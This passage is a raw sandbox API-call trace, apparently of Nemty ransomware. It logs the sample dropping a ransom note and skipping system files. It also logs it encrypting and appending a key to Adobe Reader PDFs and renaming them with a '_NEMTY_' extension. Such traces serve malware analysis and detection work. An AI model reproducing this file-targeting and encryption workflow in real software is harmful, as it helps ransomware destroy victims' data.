lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHS", lpUsedDefaultChar=0x0) returned 3 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403e0 [0187.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404d8 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0187.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340260 [0187.214] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0187.215] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0187.217] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.217] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0187.218] CloseHandle (hObject=0x2f0) returned 1 [0187.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404d8 | out: hHeap=0x4f90000) returned 1 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404d8 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0187.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340308 [0187.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.218] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0187.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0187.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0187.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.219] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.219] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0187.220] CloseHandle (hObject=0x2f0) returned 1 [0187.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0187.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.220] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0187.221] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x233c1a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x233c1a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0187.221] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0187.221] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x233c1a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x233c1a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0187.221] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0187.221] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0187.221] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0187.221] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0187.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0187.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340308 [0187.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0187.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0187.222] Sleep (dwMilliseconds=0x5) [0187.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x233e7b70, dwHighDateTime=0x1d561e8)) [0187.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x233e7b70, dwHighDateTime=0x1d561e8)) [0187.229] GetLastError () returned 0xb7 [0187.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0187.229] GetLastError () returned 0xb7 [0187.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0187.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.229] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0187.229] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0187.229] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0187.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0187.229] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="z0QWYD3fg7q89hq9spMocxr3i/Fk96Koh7m7T3BS7K74YjS8Q7xGGA3CiMIkG2b7\r\nVc1Wrn1QI/4Z2qhj2XD2TNZ3aW0Aer8QBoE6riMp3ODTzYJXDfH5AB0A8OQzPYQk\r\n33blqcKBxW4DCyRPLGGoiZHMlCbckJlBjQjatSygnImOOja+ZL7d+/taNimADpZv\r\nxVb48VSK/teYbizy5hQiLAaHxLM4aqjVcySrchnRGZQsGraiIblbNNVwnDSKysP7\r\nNA5r0dTtYf+QrJBBNdNK40ahSxAKs5t8Ix/PShqBZ/Y/Z3GY7e5Qp0otcwDCpNi3\r\nQG8/ECM7U4vpJGAAE2K3rw==\r\n", pcchString=0x653df5c) returned 1 [0187.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0187.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0187.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0187.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0187.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0187.231] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=81422) returned 1 [0187.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13e00) returned 0x6352c48 [0187.231] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.231] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13e00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x13e00, lpOverlapped=0x0) returned 1 [0187.405] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.405] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13e00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x13e00, lpOverlapped=0x0) returned 1 [0187.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0187.405] SetFilePointer (in: hFile=0x320, lDistanceToMove=81422, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13e0e [0187.405] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0187.405] CloseHandle (hObject=0x320) returned 1 [0187.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0187.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0187.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0187.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0187.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0187.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0187.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0187.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0187.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.406] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0187.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0187.407] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaf90, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2=".") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="..") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="...") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="windows") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="$RECYCLE.BIN") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="rsa") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="NTDETECT.COM") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntldr") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="MSDOS.SYS") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="IO.SYS") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntuser.dat") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="desktop.ini") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="CONFIG.SYS") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="RECYCLER") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="BOOTSECT.BAK") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="bootmgr") returned 1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="programdata") returned -1 [0187.407] lstrcmpiW (lpString1="Hanko.pdf", lpString2="appdata") returned 1 [0187.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0187.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0187.408] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0187.408] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0187.408] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 